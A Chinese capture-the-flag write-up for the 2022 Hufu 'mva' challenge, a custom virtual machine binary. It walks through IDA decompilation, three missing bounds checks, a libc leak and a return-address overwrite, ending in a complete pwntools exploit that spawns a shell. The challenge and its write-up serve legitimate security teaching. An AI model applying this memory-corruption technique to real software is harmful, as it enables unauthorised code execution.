2022虎符 mva
程序分析main 函数经典虚拟机__int64 __fastcall main(__int64 a1, char **a2, char **a3){__int16 f; // [rsp+1Ah] [rbp-246h]__int16 is_run; // [rsp+1Ch] [rbp-244h]unsigned __int16 t; // [rsp+20h] [rbp-240h]unsigned i
ida 分析
ida 打开,发现反编译代码不完整。
看汇编,发现存在脏字
nop 掉后就可以看到完整代码了。
然而 case 8u:
依旧不能反编译。
认真分析了汇编发现没有问题,其实这是 ida 的一个 bug ,只要选择 Edit->Patch program->Apply patches to input file
将修改保存然后重新 ida 分析就可以正常反编译了。
这个函数也没有反编译完全
undefine 之后重新定义函数就好了
程序分析
main 函数
经典虚拟机
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int16 f; // [rsp+1Ah] [rbp-246h]
__int16 is_run; // [rsp+1Ch] [rbp-244h]
unsigned __int16 t; // [rsp+20h] [rbp-240h]
unsigned int op; // [rsp+24h] [rbp-23Ch]
int next_op; // [rsp+28h] [rbp-238h]
__int64 top; // [rsp+30h] [rbp-230h]
unsigned __int16 reg[6]; // [rsp+44h] [rbp-21Ch] BYREF
unsigned __int16 stk[260]; // [rsp+50h] [rbp-210h]
unsigned __int64 v12; // [rsp+258h] [rbp-8h]
v12 = __readfsqword(0x28u);
sub_1277(a1, a2, a3);
f = 0;
top = 0LL;
memset(reg, 0, sizeof(reg));
is_run = 1;
puts("[+] Welcome to MVA, input your code now :");
fread(ops, 0x100uLL, 1uLL, stdin);
puts("[+] MVA is starting ...");
LABEL_102:
while ( is_run )
{
op = get_op();
t = HIBYTE(op);
if ( t > 0xFu )
break;
switch ( t )
{
case 0u:
is_run = 0;
break;
case 1u:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
reg[SBYTE2(op)] = op;
break;
case 2u:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
exit(0);
if ( (char)op > 5 || (op & 0x80u) != 0 )
exit(0);
reg[SBYTE2(op)] = reg[SBYTE1(op)] + reg[(char)op];
break;
case 3u:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
exit(0);
if ( (char)op > 5 || (op & 0x80u) != 0 )
exit(0);
reg[SBYTE2(op)] = reg[SBYTE1(op)] - reg[(char)op];
break;
case 4u:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
exit(0);
if ( (char)op > 5 || (op & 0x80u) != 0 )
exit(0);
reg[SBYTE2(op)] = reg[SBYTE1(op)] & reg[(char)op];
break;
case 5u:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
exit(0);
if ( (char)op > 5 || (op & 0x80u) != 0 )
exit(0);
reg[SBYTE2(op)] = reg[SBYTE1(op)] | reg[(char)op];
break;
case 6u:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
exit(0);
reg[SBYTE2(op)] = (int)reg[SBYTE2(op)] >> reg[SBYTE1(op)];
break;
case 7u:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
exit(0);
if ( (char)op > 5 || (op & 0x80u) != 0 )
exit(0);
reg[SBYTE2(op)] = reg[SBYTE1(op)] ^ reg[(char)op];
break;
case 8u:
pc = get_op();
break;
case 9u:
if ( top > 256 )
exit(0);
if ( BYTE2(op) )
stk[top] = op;
else
stk[top] = reg[0];
++top;
break;
case 0xAu:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( !top )
exit(0);
reg[SBYTE2(op)] = stk[--top];
break;
case 0xBu:
next_op = get_op();
if ( f == 1 )
pc = next_op;
break;
case 0xCu:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
exit(0);
f = reg[SBYTE2(op)] == reg[SBYTE1(op)];
break;
case 0xDu:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( (char)op > 5 || (op & 0x80u) != 0 )
exit(0);
reg[SBYTE2(op)] = reg[SBYTE1(op)] * reg[(char)op];
break;
case 0xEu:
if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
exit(0);
if ( SBYTE1(op) > 5 )
exit(0);
reg[SBYTE1(op)] = reg[SBYTE2(op)];
break;
case 0xFu:
printf("%d\n", stk[top]);
break;
default:
goto LABEL_102;
}
}
puts("[+] MVA is shutting down ...");
return 0LL;
}
get_op 函数
获取指令,分析代码可知,指令长度为 4 字节,并且按照大端序获取,即低地址的字节位于 op 的高位。从代码分析可以看出,指令长度均为 4 ,按 64 位数 op 从高到低位,第一个字节是操作码,后面三个字节为地址码或填充字节。
__int64 get_op()
{
unsigned int op; // [rsp+4h] [rbp-Ch]
op = (*(_DWORD *)&ops[pc] << 8) & 0xFF0000 | (*(_DWORD *)&ops[pc] >> 8) & 0xFF00 | HIBYTE(*(_DWORD *)&ops[pc]) | (*(_DWORD *)&ops[pc] << 24);
pc += 4;
return op;
}
漏洞分析
可以看出程序中对地址码的检验一个是判断上界,另一个是通过判断标志位判断正负。
程序中主要存在 3 个漏洞点:
case 0xDu
缺少对 SBYTE1(op)
的范围的检验,可以从任意地址的读取 2 字节数据到寄存器。
case 0xEu
缺少对 SBYTE1(op)
的正负的检验,通过读入负数可以将寄存器中 2 字节数据写入在 [reg-0xFF,reg+5] 区间中的地址上。
case 9u
分析 case 9u
的代码:
case 9u:
if ( top > 256 )
exit(0);
if ( BYTE2(op) )
stk[top] = op;
else
stk[top] = reg[0];
++top;
break;
对应的汇编为:
.text:00000000000017A1 loc_17A1: ; CODE XREF: main+14B↑j
.text:00000000000017A1 ; DATA XREF: .rodata:jpt_13F5↓o
.text:00000000000017A1 mov rax, [rbp+top] ; jumptable 00000000000013F5 case 9
.text:00000000000017A8 cmp rax, 100h
.text:00000000000017AE jle short loc_17BA
.text:00000000000017B0 mov edi, 0 ; status
.text:00000000000017B5 call _exit
.text:00000000000017BA ; ---------------------------------------------------------------------------
.text:00000000000017BA
.text:00000000000017BA loc_17BA: ; CODE XREF: main+504↑j
.text:00000000000017BA cmp [rbp+var_249], 0
.text:00000000000017C1 jnz short loc_17E6
.text:00000000000017C3 movsx edx, [rbp+var_249]
.text:00000000000017CA mov rax, [rbp+top]
.text:00000000000017D1 movsxd rdx, edx
.text:00000000000017D4 movzx edx, [rbp+rdx*2+reg]
.text:00000000000017DC mov [rbp+rax*2+stk], dx
.text:00000000000017E4 jmp short loc_17FC
.text:00000000000017E6 ; ---------------------------------------------------------------------------
.text:00000000000017E6
.text:00000000000017E6 loc_17E6: ; CODE XREF: main+517↑j
.text:00000000000017E6 mov rax, [rbp+top]
.text:00000000000017ED movzx edx, [rbp+var_23E]
.text:00000000000017F4 mov [rbp+rax*2+stk], dx
.text:00000000000017FC
.text:00000000000017FC loc_17FC: ; CODE XREF: main+53A↑j
.text:00000000000017FC mov rax, [rbp+top]
.text:0000000000001803 add rax, 1
.text:0000000000001807 mov [rbp+top], rax
.text:000000000000180E jmp loc_1A2B
因为对 top
没有校验正负,因此如果 top
为负数可以绕过对 top
的校验。
另外,mov [rbp+rax*2+stk], dx
指令中,由于 stk
为 16bit ,因此取值时存放 top
的寄存器 rax
要左移 1 位,这样恰好把符号位移走,变成正数,因此可以实现任意地址写。
漏洞利用
首先 main
函数中变量在栈中的布局如下:
-0000000000000249 var_249 db ?
-0000000000000248 var_248 db ?
-0000000000000247 var_247 db ?
-0000000000000246 f dw ?
-0000000000000244 is_run dw ?
-0000000000000242 var_242 dw ?
-0000000000000240 t dw ?
-000000000000023E var_23E dw ?
-000000000000023C op dd ?
-0000000000000238 next_op dd ?
-0000000000000234 var_234 dd ?
-0000000000000230 top dq ?
-0000000000000228 var_228 dq ?
-0000000000000220 db ? ; undefined
-000000000000021F db ? ; undefined
-000000000000021E db ? ; undefined
-000000000000021D db ? ; undefined
-000000000000021C reg dw 6 dup(?)
-0000000000000210 stk dw 260 dup(?)
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
获取 one_gadget 地址
利用 case 0xDu
漏洞将栈中的泄露 libc 的基地址读入寄存器。
调试到 case 0xDu
:
reg
地址如下:
观察栈结构,发现一个可以泄露 libc 基地址的数据。
计算得偏移为 0x3C ,是偶数,因此可以通过 reg[0x1E]~reg[0x20]
将其读取出来,然后用 reg[1]~reg[3]
将其存下。
payload += '\x01\x00\x00\x01' # reg[0] = 1
payload += '\x0d\x01\x1e\x00' # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00' # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00' # reg[3] = reg[0x20] * reg[0]
根据调试可知泄露出的 libc 地址相对基地址偏移为 0x2229E8 ,而 one_gadget
偏移为 0xE3B31。我们假定从泄露的真实地址与 one_gadget
真实地址之间存储在相同寄存器的值的大小关系与地址看做上述相对偏移值时相同寄存器值的大小关系相同(实际很大概率是这种情况),则将寄存器中的数据改为 one_gadget
地址需要将寄存器 2 减去 0x14,寄存器 1 加上 0x1149 。利用 case 2u:
和 case 3u:
可实现上述操作。
payload += '\x01\x00\x00\x14' # reg[0] = 0x14
payload += '\x03\x02\x02\x00' # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49' # reg[0] = 0x1149
payload += '\x02\x01\x01\x00' # reg[1] = reg[1] + reg[0]
修改 top 为 0x800000000000010c
根据 main
函数中变量在栈中的布局可知,reg
地址为 $rbp - 0x23C
,top
地址为 $rbp - 0x230
。
由于 reg
长度为 16bit ,因此reg[-7]
和 reg[-10]
覆盖 top
变量的头部和尾部。
由于 top
初值为 0 ,因此用两个寄存器借助 case 0xEu
的漏洞将 top
修改为 0x800000000000010c 。
根据补码的规则,-7 对应 0xF9 ,-10 对应 0xF6 。
payload += '\x01\x00\x80\x00' # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00' # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c' # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00' # reg[-10] = reg[0]
将返回地址修改为 one_gadget
根据前面对 case 9u
漏洞的分析,在比较时,由于 0x800000000000010c 为负数,因此可以绕过 if ( top > 256 )
的检查。而在向 stk
添加元素时,由于 rax
左移 1 位发生溢出变为 0x218 ,因此实际访问的是存储函数返回地址的起始位置。将寄存器中存储的 one_gadget
地址依次写入即可获取 shell 。
payload += '\x0e\x01\x00\x00' # reg[0] = reg[1]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00' # reg[0] = reg[2]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00' # reg[0] = reg[3]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
完整 exp
from pwn import *
context.arch = 'amd64'
p = process('./mva')
# p = remote('119.23.155.14',24018)
elf = ELF('./mva')
payload = ''
payload += '\x01\x00\x00\x01' # reg[0] = 1
payload += '\x0d\x01\x1e\x00' # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00' # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00' # reg[3] = reg[0x20] * reg[0]
payload += '\x01\x00\x00\x14' # reg[0] = 0x14
payload += '\x03\x02\x02\x00' # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49' # reg[0] = 0x1149
payload += '\x02\x01\x01\x00' # reg[1] = reg[1] + reg[0]
payload += '\x01\x00\x80\x00' # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00' # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c' # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00' # reg[-10] = reg[0]
payload += '\x0e\x01\x00\x00' # reg[0] = reg[1]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00' # reg[0] = reg[2]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00' # reg[0] = reg[3]
payload += '\x09\x00\x00\x00' # stk[top++] = reg[0]
p.sendafter("input your code now :\n", payload.ljust(0x100, '\x00'))
p.recvuntil("MVA is starting ...")
p.interactive()
更多推荐
所有评论(0)